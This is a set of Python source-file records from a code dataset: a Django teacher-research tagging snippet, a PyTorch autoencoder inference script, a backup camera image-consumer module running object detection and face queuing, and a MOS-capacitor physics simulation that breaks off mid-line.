emaillist = job_model.Teachers.objects.filter(status__gt=0).all()[page:limit]\n ResearchTeacher(emaillist)\n\n\nclass ResearchTeacher(RedisHelper):\n tag = '[处理研究方向标签]'\n\n def __init__(self, emailQuertysetlist=[]):\n super(ResearchTeacher, self).__init__()\n self.emailQuertysetlist = emailQuertysetlist\n if not self.emailQuertysetlist:\n self.printlog('not email!')\n self.printlog('-> email count:{}'.format(len(self.emailQuertysetlist)))\n ResearchMatch().matchTextSaveDb(emailQuertysetlist)\n","sub_path":"research/rq/researchteacher.py","file_name":"researchteacher.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"594690832","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.data\nimport argparse\nimport timeit\nfrom model import AutoEncoder\n\ndef load_dataset(args, device):\n test = np.load(args.datafile, allow_pickle=True)['test']\n\n # create torch tensor from numpy array\n test = torch.FloatTensor(test).to(device)\n test = torch.utils.data.TensorDataset(test)\n test_dataloader = torch.utils.data.DataLoader(test, batch_size=args.batch_size, shuffle=True)\n\n return test_dataloader\n\ndef main(args):\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n print('Using %s device.' % device)\n\n test_dataloader = load_dataset(args, device)\n\n net = AutoEncoder(input_dim=1900, nlayers=args.nlayers, latent=100).to(device)\n net.load_state_dict(torch.load(args.modelfile))\n net.eval()\n\n # define loss function\n loss_func = nn.MSELoss(reduction='mean')\n\n test(test_dataloader, net, loss_func)\n\n test_loss = 0\n output = []\n\n for index, (data, ) in enumerate(test_dataloader, 1):\n with torch.no_grad():\n output.append(net(data))\n loss = loss_func(output[-1], data)\n test_loss += loss.item()\n\n print(' test_loss %6.3f' % (test_loss / index), end='')\n\n torch.save({\n 'output': output,\n }, args.outputfile)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--datafile', required=True, type=str)\n parser.add_argument('--modelfile', required=True, type=str)\n parser.add_argument('--outputfile', required=True, type=str)\n parser.add_argument('--batch_size', default=10, type=int)\n parser.add_argument('--nlayers', default=4, type=int)\n args = parser.parse_args()\n\n main(args)\n","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"223635424","text":"# BACKUP \n# 20220104 - major changes\n# moved to TRT and the model is much faster, with batch\n# you basically get unlimited regions for free\n#\n# So, take out\n# - difference check - run 'em all\n# - not iteratring through regions, they all go to the model at once\n# ...and more\n# \n# keep this backup if you go backward to TF (I hope not)\n# or, you mess something up\n\n\nimport os\nimport sys\nimport time\nfrom datetime import datetime\nimport cv2\nimport threading\nimport queue\nimport logging\nimport numpy as np\nimport traceback\nfrom skimage.metrics import structural_similarity as ssim\n\n# add the tensorflow models project to the Python path\n# github tensorflow/models\nimport tensorflow as tf\n\ncwd = os.getcwd()\nmodels = os.path.abspath(os.path.join(cwd, '..', 'models/research/'))\nslim = os.path.abspath(os.path.join(cwd, '..', 'models/research/slim'))\nsys.path.append(models)\nsys.path.append(slim)\n\n# modules - part of the tensorflow models repo\nfrom object_detection.utils.np_box_ops import iou\n\n# models - part of this project\nimport gen_util\nimport label_map_util\nimport tensorflow_util\nimport camera_util\nimport monitor\nimport display\nimport annotation\n\nimport inference\nimport status\n\nimport settings\n\nlog = logging.getLogger(__name__)\n\n#\n# convert the facial detection list of lists \n# to: list of tuple-2\ndef convert_facial_lists(regions_lists):\n regions_tuples = []\n for regions_list in regions_lists:\n regions_tuples.append((regions_list[0], regions_list[1]))\n return regions_tuples\n\n# return True -- if the camera-region is in the facial detection list\n# -- i.e. regions to check faces\n# -- AND - there was a person detected\ndef check_faces(camera_id, region_id, region_list, class_array):\n # 1st - is this region in the regions to check list?\n match = False\n submit_to_queue = False\n for region_tuple in region_list:\n if region_tuple == (camera_id, region_id):\n match = True\n break\n # 2nd - was there a person detected\n if match == True:\n for clss in class_array:\n if clss == 1:\n submit_to_queue = True\n return submit_to_queue\n # return == True if it it in the regions to check & there was a person detected\n return submit_to_queue\n\n# TODO\n# change this to RegionDetection object\ndef is_save_inference(rule_num, camera_id, region_id, num_detections, new_objects):\n save_inference = False\n # rule 1\n if rule_num == 1 and num_detections > 0:\n if settings.save_inference and new_objects > 0:\n save_inference = True\n \n # rule 2\n # garage door - left door region -or- full image\n # save all\n if rule_num == 2 and camera_id == 2:\n if region_id == 1 or region_id == 0:\n save_inference = True\n\n log.debug(f'image_consumer/is_save_inference -- rule# {rule_num} {camera_id} {region_id} {num_detections} {new_objects} ==> {save_inference}')\n return save_inference\n\ndef get_auto_region(consumer_id, frame_object):\n '''\n compare the full frame -to- prev full frame\n get a bbox of what has changed\n\n return a single region that encompasses the changes (could be multiple objects in that region)\n\n threshold is not adjusted in this algorithm\n\n output (same as get_fixed_region_differences to keep it simple):\n image_different_list = list(True)\n score_list = list(ssim score)\n image_difference_threshold_list = list(threshold)\n '''\n\n activity_image, x1, y1, x2, y2, grayCurrent = camera_util.get_activity_bbox(camera_config, frame, grayPrevious, display)\n\n image_different_list = list(\"True\")\n score_list = list(0.0)\n image_difference_threshold_list = list(0.0)\n\n return image_different_list, score_list, image_difference_threshold_list, frame_object\n\n\n# pre-process image\n# - resize it\n# - expand dimeion\n# TODO - this looks redundant\n# - check the adj apect ratio & size in image_util\n# - ideally, combine all of this\n# - also check Stream - there is some code there that should use a common routine\ndef preproc_image(region_image, region_dimension, resize_height, resize_width):\n '''\n region_image = np array\n region_dimmension = Image_Demension dataclass\n resize dimensions required by the model\n '''\n\n reqd_height = region_dimension.crop_ymax - region_dimension.crop_ymin\n reqd_width = region_dimension.crop_xmax - region_dimension.crop_xmin\n\n resize_reqd = True\n if (reqd_height == resize_height) and (reqd_width == resize_width):\n resize_reqd = False\n\n if resize_reqd:\n resized_image = cv2.resize(region_image, (resize_width, resize_height), interpolation = cv2.INTER_AREA)\n else:\n resized_image = region_image\n\n preproc_image = np.expand_dims(resized_image, axis=0)\n log.debug(f'image_consumer.preproc_image: input: {region_dimension} reqd_H: {resize_height} reqd_W: {resize_width} resize_reqd: {resize_reqd} final: {preproc_image.shape}')\n return preproc_image\n\n# multiple GPUs and models\n# - there is no balancing algorithm!!\n# - it was too complicated and probably didn't work right\n# - TRT is so much faster that it's less important\n#\n# configure the load balancing into the config\n# - region_model is a list of model keys (\n# len(region_model) == len(regions)\n# - so config the model key per region\n# - if you have multiple image models (batch = 1)\n# configure to send to different models based on region size\n# - if you have 1 image model and 1 stream model,\n# configure to send all images to your only image model\ndef get_detect_fn(detect_dict, model_key):\n '''\n get a detection function (detect_fn) based on the model key\n (this used to be an algorithm - the entire function could probably be optimized out)\n\n Input: detect_dict - this is the dict that was generated when you initiated the models\n - the key on this dict is the model key \n - region_model = list of model keys corresponding to the regions\n \n Output:\n detect_fn\n resize_dim (type Image_Dimension)\n '''\n\n model_dict = detect_dict[model_key]\n detect_fn = model_dict[\"detect_fn\"]\n gpu_index = model_dict[\"gpu\"]\n # model_image_dim\n # [1, height, width, channels]\n model_input_dim = model_dict[\"input_dim\"]\n (batch_size, resize_height, resize_width, _) = model_input_dim\n label_dict = model_dict[\"label_dict\"]\n\n log.debug(f'image_consumer.get_detect_fn: assigned: model[{model_key}] reize to: h:{resize_height} w:{resize_width}')\n return gpu_index, detect_fn, resize_height, resize_width, model_input_dim, label_dict\n\n\n\n# Pull images off the imageQueue\n# - produce faceQueue (check the faces in the images)\ndef image_consumer_tf2(consumer_id, detect_dict, bbox_stack_lists, bbox_push_lists):\n '''\n detect_dict - gives us the model information\n - we need to figure out which model to send it to\n device\n gpu_index\n model_input_dim\n model_dict\n '''\n\n\n log.info(f'IMAGE-CONSUMER tf2 started #{consumer_id}')\n\n # configuration\n facial_detection_regions = convert_facial_lists(settings.config[\"facial_detection_regions\"]) # list of lists converted to list of tuple-2 (camera_id, regions_id)\n\n # monitoring - influx\n influx_write_api = monitor.get_influx_write_api(settings.influx_client)\n\n while True:\n new_objects = 0 # default to 0\n try:\n # - - Consumer tasks - -\n # - once/frame\n # - ALL regions of the frame\n frame_object = None\n\n # - - - P O P - - - -\n # get the frame object\n frame_object = settings.imageQueue.get(block=False)\n region_count = len(frame_object.region_images)\n prev_region_count = len(frame_object.prev_region_images)\n log.debug(f'image_consumer: queue.get op camera id: {frame_object.camera_id} new images shape: {region_count} prev images shape: {prev_region_count} prev full frame: {frame_object.region_dimensions}')\n print (f'image_consumer: {frame_object}')\n pushed_to_face_queue = False\n start = time.perf_counter()\n\n # -- FIXED regions vs regions AUTO calc on full frame difference --\n # both have a compatible output - they both update the frame_object in place \n # -- but really quit using auto - because:\n # TRT is much cheaper, you basically get ALL regions for free, no reason to optimize\n # this seemed to put more burden on the CPU and now the GPU is light\n # so, algo is still working (or should be) but not really using it\n if frame_object.camera_config[\"region_algo\"] == \"fixed\":\n # only if region algo is fixed\n camera_util.get_fixed_region_differences(consumer_id, frame_object)\n if frame_object.camera_config[\"region_algo\"] == \"auto\":\n # only if region algo is fixed\n # image_different_list, score_list, image_difference_threshold_list = get_auto_region_differences(consumer_id, frame_object)\n camera_util.get_activity_bbox(frame_object, model_input_dim, \"cropped\")\n region_end_time = time.perf_counter() # sloppy, perf used for time measurement - should DELETE, change log\n\n # kind of merging the results of fixed & auto\n # - fixed will return region_images regardless - and the image_different_list will tell you wnat to process\n # - auto will return region_images (1 image only) - ONLY if there is something different; thus, check it region_images == None\n if frame_object.region_images is not None:\n popped_perf = start - frame_object.capture_perf # image captured -to- time it was popped from the stack to consume, queue delay\n region_perf = region_end_time - start # popped time -to- are the regions different, can be long if you use large image \n\n # write event -> influx, image_popped\n event_image_popped = monitor.Camera_Image_Popped(consumer_id, frame_object.camera_id, popped_perf, 1, region_perf)\n monitor.write_image_popped(influx_write_api, event_image_popped)\n\n # - - per region - -\n # loop through the region_different list\n # - you might have fixed regions = 4 but if auto was used, there is only 1 value in the list\n for region_id, region_different in enumerate(frame_object.region_different):\n if region_different == True:\n to_model_perf = time.perf_counter() - start\n orig_image = frame_object.region_images[region_id].copy() # image will become inference image - it's NOT immutable\n\n # multiple models - get the detect function\n # - get the model detect function\n # - gpu index is only for the lock - you could do this better but I got hung up on the idea of a global array of locks\n # WARNING - when you have more GPUs - this will need to be fixed; it's hardcoded now\n # - resize dimensions\n model_key = frame_object.camera_config[\"region_model\"][region_id] # region_model is a list of model keys corresponding to region - this will give you the right model\n gpu_index, detect_fn, resize_height, resize_width, model_input_dim, label_dict= get_detect_fn(detect_dict, model_key)\n # pre-process the image\n # send the existing dimensions just to check if resize is really necessary\n # - resized\n # - batch dim\n image_to_model = preproc_image(orig_image, frame_object.region_dimensions[region_id], resize_height, resize_width)\n log.debug(f'image_consumer(send to model): {consumer_id} cam:{frame_object.camera_id} region{region_id} dimensions:{frame_object.region_dimensions[region_id]} region_different == True {image_to_model.shape}')\n\n # update stat that you sent region to inference\n camera_util.update_stat_region_inf(frame_object.camera_id, region_id)\n\n # - - - S E N D T O M O D E L - - -\n # TensorRT wants an EagerTensor\n '''\n detect_fn: ConcreteFunction signature_wrapper(*, input_tensor)\n Args:\n input_tensor: uint8 Tensor, shape=(1, None, None, 3)\n Returns:\n {'detection_anchor_indices': <1>, 'detection_boxes': <2>, 'detection_classes': <3>, 'detection_multiclass_scores': <4>, 'detection_scores': <5>, 'num_detections': <6>, 'raw_detection_boxes': <7>, 'raw_detection_scores': <8>}\n <1>: float32 Tensor, shape=(1, None)\n <2>: float32 Tensor, shape=(1, None, None)\n <3>: float32 Tensor, shape=(1, None)\n <4>: float32 Tensor, shape=(1, None, None)\n <5>: float32 Tensor, shape=(1, None)\n <6>: float32 Tensor, shape=(1,)\n <7>: float32 Tensor, shape=(1, 51150, 4)\n <8>: float32 Tensor, shape=\n '''\n # TensorFlow wants a numpy array\n tensor_to_model = tf.convert_to_tensor(image_to_model, dtype=tf.uint8)\n # print (f'image_consumer: send image to model: {image_to_model.shape} {type(image_to_model)}')\n # print (f'image_consumer: send tensor to model: {tensor_to_model.shape} {type(tensor_to_model)}')\n # print (f'image_consumer: detect_fn: {detect_fn}')\n # \n # gpu_index is only for the lock\n # - it's not CUDA or GPU related !!!\n # couldn't figure out how to do a global array of locks so this is klunky\n if gpu_index == 0:\n with settings.gpu0_lock:\n # tf2.x: output_dict = detect_fn(image_to_model)\n output_dict=detect_fn(tensor_to_model)\n elif gpu_index == 1:\n with settings.gpu1_lock:\n # tf2.x: output_dict = detect_fn(image_to_model)\n output_dict=detect_fn(tensor_to_model)\n else:\n assert False, f\"image_consumer gpu lock value error: gpu_index:{gpu_index}\"\n\n # Convert good detections to ModelInference object\n inf = inference.ModelInference(output_dict, settings.inference_threshold)\n\n # monitoring - image_inferenced \n # inference count = 1\n from_model_perf = time.perf_counter() - to_model_perf\n event_region_inferenced = monitor.Region_Inferenced(consumer_id, frame_object.camera_id, region_id, gpu_index, 1, to_model_perf, from_model_perf, inf.detection_count )\n # print (f'inferenced: {event_region_inferenced}')\n # inferenced: Region_Inferenced(consumer_id=13, camera_id=13, region_id=0, gpu_index=0, inference_count=1, to_model_perf=0.022106750000602915, from_model_perf=10084.900085984, object_count=0)\n monitor.write_region_inferenced(influx_write_api, event_region_inferenced)\n\n # check for new detections\n # - per camera - per region \n det = None # you need None, if saving inferences (no detection) on all images\n if inf.detection_count > 0:\n # need bbox_array as a numpy\n log.debug(f'image_consumer#{consumer_id} - cam#{frame_object.camera_id} reg#{region_id} bbox_stack_list len: {len(bbox_stack_lists)}')\n log.debug(f'-- bbox_stack_lists[{frame_object.camera_id}] => bbox_stack_list')\n log.debug(f'-- bbox_stack_list: {bbox_stack_lists[frame_object.camera_id]}')\n with settings.safe_stack_update:\n new_objects, dup_objects = tensorflow_util.identify_new_detections(frame_object.capture_timestamp,\n settings.iou_threshold, frame_object.camera_id, region_id, inf.bbox_array, bbox_stack_lists[frame_object.camera_id], bbox_push_lists[frame_object.camera_id])\n\n # update object stat\n camera_util.update_stat_region_obj(frame_object.camera_id, region_id, inf.detection_count, new_objects)\n \n # D E T E C T I O N class\n # - create a detection & update home_status\n det_start_time = time.perf_counter()\n det = inference.RegionDetection(frame_object.capture_timestamp, frame_object.camera_id, region_id, frame_object.is_color, inf.detection_count, new_objects, inf)\n # update regardless\n with settings.safe_status_update:\n # - - - - - - - UPDATING status & history - - - - - - - -\n # called as a per camera:region function\n log.info(f'image_consumer.update_from_detection: {frame_object.camera_id:02}-{consumer_id:03} initiated')\n settings.home_status.update_from_detection(det)\n log.info(f'image_consumer.update_from_detection: {frame_object.camera_id:02}-{consumer_id:03} completed')\n \n # display - \n # NOTE - Displaying w/ cv2 in multi-threads is a problem!! 1 consumer only if you want to enable this\n # window_name = '{}-{}'.format(camera_name, region_id)\n if True: #inf.detection_count > 0: \n inference_image, orig_image_dim, detected_objects_list = display.inference_to_image( \n frame_object.region_images[region_id],\n inf, \n model_input_dim, label_dict, settings.inference_threshold) \n log.debug(f'image_consumer -> display.inference_to_image: cam:{frame_object.camera_id} region: {region_id} capt_timestamp: {frame_object.capture_timestamp}')\n \n # Facial Detection\n if settings.facial_detection_enabled == True and inf.detection_count > 0:\n submit_face_queue = check_faces(frame_object.camera_id, region_id, facial_detection_regions, inf.class_array) # is this region in the regions to check?\n if submit_face_queue == True:\n settings.faceQueue.put((frame_object.camera_id, region_id, frame_object.capture_timestamp, frame_object.region_images[region_id]))\n pushed_to_face_queue = True\n\n det_end_time = time.perf_counter()\n\n # S A V E\n # - set up a couple of rules for saving\n # default\n # rule_num = 2 # priority camera/region w/ new objects\n rule_num = 1 # new objects\n # check the stream setting - which will force saving the image/annoation\n stream = False\n if frame_object.camera_config[\"stream\"] == 1:\n stream = True\n\n image_name, annotation_name = inference.get_save_detection_path(rule_num, stream, det, \n settings.image_path, settings.annotation_path)\n log.info(f'image_consumer/get_save_path: {image_name} {annotation_name}')\n saved = False # default\n\n if image_name is not None:\n # original image - h: 480 w: 640\n saved = True\n cv2.imwrite(image_name, orig_image)\n # this function generates & saves the XML annotation\n # - if no detection, just save image, skip the annotation - there is no annotation\n # !! warning - stupidy alert !!\n # don't confuse det.detected_objects = a count, int\n # detected_objects, now detected_object_list, is a list of objects\n # the nameing is similar and confusing\n log.debug(f'image_consumer image saved: cam:{frame_object.camera_id} reg:{region_id} : {image_name} shape{orig_image.shape}')\n\n if det is not None:\n annotation_xml = annotation.inference_to_xml(settings.image_path, image_name,orig_image_dim, detected_objects_list, settings.annotation_path )\n else:\n print (f\"image_consumer - det is None -- this should not occur\")\n \n with settings.safe_print:\n log.info(\n f' IMAGE-CONSUMER:<<{frame_object.camera_id:02}-{consumer_id:03} qsize: {settings.imageQueue.qsize():03}'\n f' diff: {frame_object.region_diff_score[region_id]:0.3f}/{frame_object.region_diff_threshold[region_id]:0.3f} reg: {region_id} {frame_object.capture_timestamp}'\n f' total:{(time.perf_counter() - start):02.2f} sec'\n f' (r:{(region_end_time - start):02.2f}, {(det_start_time - region_end_time):02.2f}, d:{(det_end_time - det_start_time):02.2f}, {(time.perf_counter() - det_end_time):02.2f}'\n f' dets: {inf.detection_count} new: {new_objects} saved: {saved}'\n )\n if inf.detection_count > 0:\n log.debug(f'image_consumer - detection: {det}')\n if pushed_to_face_queue == True:\n log.info(' pushed to faceQueue')\n if saved == True:\n log.debug(f\" Saved: stale objects - image_name: {image_name}\")\n else:\n log.debug(\" No new objects detected --- not saved\")\n\n else:\n # image is NOT different\n # monitoring - region not different (same) so do nothing\n discard_perf = start - time.perf_counter() # time between popping it and discarding it\n event_region_not_different = monitor.Region_Not_Different(consumer_id, frame_object.camera_id, region_id, discard_perf, 1)\n monitor.write_region_not_different(influx_write_api, event_region_not_different)\n\n with settings.safe_print:\n log.info(f' IMAGE-CONSUMER:<<{frame_object.camera_id:02}-{consumer_id:03} No difference in fixed regions {region_id}, diff score: {frame_object.region_diff_score[region_id]:0.3f} adj thresh:{frame_object.region_diff_threshold[region_id]:0.3f}')\n else:\n # auto algo - no activity == no region_image == don't do anything\n with settings.safe_print:\n log.info(f' IMAGE-CONSUMER:<<{frame_object.camera_id:02}-{consumer_id:03} No difference in auto region {region_id}, diff score: {frame_object.region_diff_score[region_id]:0.3f} adj thresh:{frame_object.region_diff_threshold[region_id]:0.3f}')\n\n\n except queue.Empty:\n pass\n\n except Exception as e:\n with settings.safe_print:\n if frame_object is not None:\n log.error(f' IMAGE-CONSUMER:!!! ERROR - Exception Consumer ID: {frame_object.camera_id}:{consumer_id}')\n log.error(f\" frame_object.region_images shape: {frame_object.region_dimensions}\")\n log.error(f\" frame.object.region_different: {frame_object.region_different}\")\n else:\n log.error(f' IMAGE-CONSUMER:!!! ERROR - Exception Consumer ID: {consumer_id} frame_object = None')\n log.error(f' -- image consumer exception: {e}')\n log.error(traceback.format_exc())\n \n # stop? \n if settings.run_state == False:\n shutdown_message = f'shutting down image consumer {consumer_id}'\n print (shutdown_message) \n log.info(shutdown_message)\n break\n # end of while loop\n \n return\n\n","sub_path":"image_consumer_BAK.py","file_name":"image_consumer_BAK.py","file_ext":"py","file_size_in_byte":25559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"45557235","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 28 10:20:04 2015\n\n@author: Alfonzo Jack\n\nto do list\n1. convert all print statements to print()\n2. make figure numbers increment\n3. figure out how to deal with n_o, p_o or just deal with Na, Nd\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import quad\n# -----------------------\n# user-defined settings\n# -----------------------\nT = 300 # lattice temperature, Kelvin\ntox = 50e-9 * 100 # 50 nm oxide converted to cm\nNd = 1e16 # donor doping concentration, # / cm^3\nNa = 1e17 # acceptor doping concentration, # / cm^3\n\n# -----------------------\n# physical constants\n# -----------------------\ne0 = 8.854e-14 # permittivity of free space, F / cm\nq = 1.602e-19 # elementary charge, Coulombs\nk = 8.617e-5 # Boltzmann constant, eV / K\n\n# -----------------------\n# material parameters \n# -----------------------\nes = 11.7 # relative permittivity, silicon\neox = 3.9 # relative permittivity, SiO2\nchi_s = 4.17 # electron affinity, silicon, eV\nphi_m = 5.01 # work function, nickel, eV\n# bandgap, silicon, eV\nEg = 1.17 - 4.73e-4 * T ** 2 / (T + 636.0)\n# effective valence band DOS, silicon, # / cm^3\nNv = 3.5e15 * T ** 1.5\n# effective conduction band DOS, silicon, # / cm^3\nNc = 6.2e15 * T ** 1.5\n# intrinsic carrier concentration, silicon, # / cm^3\nni = np.sqrt(Nc * Nv) * np.exp(-Eg / (2 * k * T))\n\n\ndef solve_bisection(func, target, xmin, xmax):\n \"\"\"\n Returns the independent value x satisfying func(x)=value.\n - uses the bisection search method\n https://en.wikipedia.org/wiki/Bisection_method\n\n Arguments:\n func - callable function of a single independent variable\n target - the value func(x) should equal\n [xmin, xmax] - the range over which x can exist\n \"\"\"\n tol = 1e-10 # when |a - b| <= tol, quit searching\n max_iters = 1e2 # maximum number of iterations\n a = xmin\n b = xmax\n cnt = 1\n # before entering while(), calculate Fa\n Fa = target - func(a)\n c = a\n\n # bisection search loop\n while np.abs(a - b) > tol and cnt < max_iters:\n cnt += 1\n # make 'c' be the midpoint between 'a' and 'b'\n c = (a + b) / 2.0\n # calculate at the new 'c'\n Fc = target - func(c)\n\n if Fc == 0:\n # 'c' was the sought-after solution, so quit\n break\n elif np.sign(Fa) == np.sign(Fc):\n # the signs were the same, so modify 'a'\n a = c\n Fa = Fc\n else:\n # the signs were different, so modify 'b'\n b = c\n\n if cnt == max_iters:\n print('WARNING: max iterations reached')\n\n return c\n\n\n# -----------------------\n# dependent calculations\n# -----------------------\n# Energy levels are relative to one-another in charge expressions.\n# - Therefore, it is OK to set Ev to a reference value of 0 eV.\n# Usually, energy levels are given in Joules and one converts to eV.\n# - I have just written each in eV to save time.\nEv = 0 # valence band energy level\nEc = Eg # conduction band energy level\nEi = k * T * np.log(ni / Nc) + Ec # intrinsic energy level\nphit = k * T # thermal voltage, eV\n# get the Fermi level in the bulk where there is no band-bending\nn = lambda Ef: Nc * np.exp((-Ec + Ef) / phit)\np = lambda Ef: Nv * np.exp((Ev - Ef) / phit)\nfunc = lambda Ef: p(Ef) - n(Ef) + Nd - Na\nEf = solve_bisection(func, 0, Ev, Ec)\n# compute semiconductor work function (energy from vacuum to Ef)\nphi_s = chi_s + Ec - Ef\n# flatband voltage and its constituent(s)\n# - no defect-related charges considered\nphi_ms = phi_m - phi_s # metal-semiconductor workfunction, eV\nVfb = phi_ms # flatband voltage, V\n# oxide capacitance per unit area, F / cm^2\nCoxp = eox * e0 / tox\n# if both Nd and Na are zero, then make one slightly higher\n# calculate effective compensated doping densities\n# - assume complete ionization\nif Na > Nd:\n Na = Na - Nd\n Nd = 0\n device_type = 'nMOS'\nelse:\n Nd = Nd - Na\n Na = 0\n device_type = 'pMOS'\n\n\n# create an indicator function\n# - this function is unity only when x is zero; else, it returns zero\nI = lambda x: 1 - np.abs(np.sign(x))\n\n# create smoothing functions\n# - smoothly transitions to near-zero as f approaches zero\n# - eps is the minimum value |f| reaches\ndef Sp(f, eps=1e-3):\n return (f + np.sqrt(f ** 2 + 4 * eps ** 2)) / 2.0\ndef Sn(f, eps=1e-3):\n return (f - np.sqrt(f ** 2 + 4 * eps ** 2)) / 2.0\n\n\n# -----------------------\n# Fermi level\n# -----------------------\n# (1) find Ef using a numerical search\n# charge density expressions at zero band-bending\nn = lambda Ef: Nc * np.exp((-Ec + Ef) / phit)\np = lambda Ef: Nv * np.exp((Ev - Ef) / phit)\nfunc = lambda Ef: p(Ef) - n(Ef) + Nd - Na\nEf = solve_bisection(func, 0, Ev, Ec)\nprint('Ef = %0.3g eV by numerical search' % Ef)\n\nif Nd < ni and Na < ni:\n # sorry, no approximations can be performed\n pass\nelif device_type == 'nMOS':\n # (2) find Ef using the majority dopant approxmation\n Ef = phit * np.log(Nv / Na) + Ev\n print('Ef = %0.3g eV by majority dopant approximation' % Ef)\n\n # (3) find phif using the majority dopant approxmation and convert to Ef\n phif = phit * np.log(Na / ni)\n Ef = Ei - phif\n print('Ef = %0.3g eV by majority dopant approximation via phif' % Ef)\nelse:\n # (2) find Ef using the majority dopant approxmation\n Ef = phit * np.log(Nd / Nc) + Ec\n print('Ef = %0.3g eV by majority dopant approximation' % Ef)\n\n # (3) find phif using the majority dopant approxmation and convert to Ef\n phif = phit * np.log(ni / Nd)\n Ef = Ei - phif\n print('Ef = %0.3g eV by majority dopant approximation via phif' % Ef)\n\n\n# -----------------------\n# surface potential\n# -----------------------\n# make surface potential vary from accumulation to strong inversion\npsis = np.linspace(Ev - Ef, Ec - Ef, 101)\n\n# define the charge function so it can be reused later\nf = lambda psis: psis * (Na - Nd) \\\n + phit * Nv * np.exp((Ev - Ef) / phit) * (np.exp(-psis / phit) - 1) \\\n + phit * Nc * np.exp((-Ec + Ef) / phit) * (np.exp(psis / phit) - 1)\nQs = lambda psis: -np.sign(psis) * np.sqrt(2 * q * e0 * es * f(psis))\n\n\n# create a plot of Qs vs psis\nplt.figure(1, figsize=(6,4))\nplt.plot(psis, Qs(psis))\nplt.grid(True)\nplt.xlabel('$\\psi_s$ (eV)', fontsize=22) # such small latex subscripts ...\nplt.ylabel('$Q_s$ (C / cm$^2$)', fontsize=22)\n\n# this is the right-hand side of the SPE written above\nSPE = lambda psis: Vfb + psis - Qs(psis) / Coxp\n\n# I've used the SPE to find the stop/start values so that the voltage \n# range adapts to the choice of doping and oxide thickness.\nVgb = np.linspace(SPE(Ev - Ef), SPE(Ec - Ef), 101)\n\npsis = np.array([])\nfor value in Vgb:\n psis = np.hstack((\n psis, \n solve_bisection(SPE, value, Ev - Ef - 0.2, Ec - Ef + 0.2)\n ))\n\n# create a plot of Qs vs Vgb\nplt.figure(1, figsize=(6,4))\nplt.plot(Vgb, psis)\nplt.grid(True)\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\nplt.ylabel('$\\psi_s$ (eV)', fontsize=22)\nax = plt.axis()\nplt.plot([Vfb, Vfb], [ax[2], ax[3]], 'k--')\nplt.text(0, ax[2] + (ax[3] - ax[2]) * 0.2, '$V_{fb}$', fontsize=18)\nplt.axis(ax)\n\n# create a plot of Qs vs Vgb\nplt.figure(2, figsize=(6,4))\nplt.plot(Vgb, Qs(psis))\nplt.grid(True)\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\nplt.ylabel('$Q_s$ (C / cm$^2$)', fontsize=22)\nax = plt.axis()\nplt.plot([Vfb, Vfb], [ax[2], ax[3]], 'k--')\nplt.text(0, ax[2] + (ax[3] - ax[2]) * 0.8, '$V_{fb}$', fontsize=18)\ntmp = plt.axis(ax)\n\n\n# -----------------------\n# inversion, bulk charge\n# -----------------------\nn = lambda psi: Nc * np.exp((psi - Ec + Ef) / phit)\np = lambda psi: Nv * np.exp((-psi + Ev - Ef) / phit)\nE = lambda psi: np.sign(psi) * np.sqrt(2 * q / (e0 * es) * f(psi))\n\nQi = np.array([])\nQb = np.array([])\n# the psis values earlier solved from the SPE are reused\nfor psis_current in psis:\n # One can either manually code a numerical integration routine\n # or call 'quad' from the scipy module. \n # The indicator function is used to avoid a 0/0 condition.\n # - by including it, the result is 0/1\n # - when psi != 0, then the indicator function is zero\n if device_type == 'nMOS':\n # Qi\n integrand = lambda psi: q * (n(psi) - n(0)) / (E(psi) + I(psi))\n result_i, error = quad(integrand, psis_current, 0)\n result_i = Sn(result_i, 1e-19)\n # Qb\n integrand = lambda psi: -q * (p(psi) - p(0)) / (E(psi) + I(psi))\n result_b, error = quad(integrand, psis_current, 0)\n else:\n # Qi\n integrand = lambda psi: -q * (p(psi) - p(0)) / (E(psi) + I(psi))\n result_i, error = quad(integrand, psis_current, 0)\n result_i = Sp(result_i, 1e-19)\n # Qb\n integrand = lambda psi: q * (n(psi) - n(0)) / (E(psi) + I(psi))\n result_b, error = quad(integrand, psis_current, 0)\n\n Qi = np.hstack((Qi, result_i))\n Qb = np.hstack((Qb, result_b))\n\nplt.figure(1, figsize=(6,4))\nplt.semilogy(Vgb, np.abs(Qi))\nplt.grid(True)\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\nplt.ylabel('$|Q_i|$ (C / cm$^2$)', fontsize=22)\n\nplt.figure(2, figsize=(6,4))\nplt.plot(Vgb, Qb)\nplt.grid(True)\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\nplt.ylabel('$Q_b$ (C / cm$^2$)', fontsize=22)\n\n# compare the sum of Qb, Qi to Qs\nplt.figure(3, figsize=(6,4))\nplt.plot(Vgb[::4], Qs(psis)[::4], '.', label='Qs')\nplt.plot(Vgb, Qb + Qi, label='Qb + Qi')\nplt.legend(loc='best')\nplt.grid(True)\nplt.xlabel('$V_{gb}$ (V)', fontsize=22)\ntmp = plt.ylabel('$Q_s$ (C / cm$^2$)', fontsize=22)\n\n\n# -----------------------\n# CSA\n# -----------------------\n# the indicator function in the denominator avoids a 0/0\nif device_type == 'nMOS':\n fh = lambda psis: psis * (Na - Nd) \\\n + phit * Nv * np.exp((Ev - Ef) / phit) * (np.exp(-psis / phit) - 1)\n Qbh = lambda psis: -np.sign(psis) * np.sqrt(2 * q * e0 * es * fh(psis))\n Qih = lambda psis: 2 * q * e0 * es \\\n * phit * Nc * np.exp((-Ec + Ef) / phit) * (np.exp(psis / phit) - 1) \\\n / (Qs(psis) + Qbh(psis) + I(psis))\nelse:\n fh = lambda psis: psis * (Na - Nd) \\\n + phit * Nc * np.exp((-Ec + Ef) / phit) * (np.exp(psis / phit) - 1)\n Qbh = lambda psis: 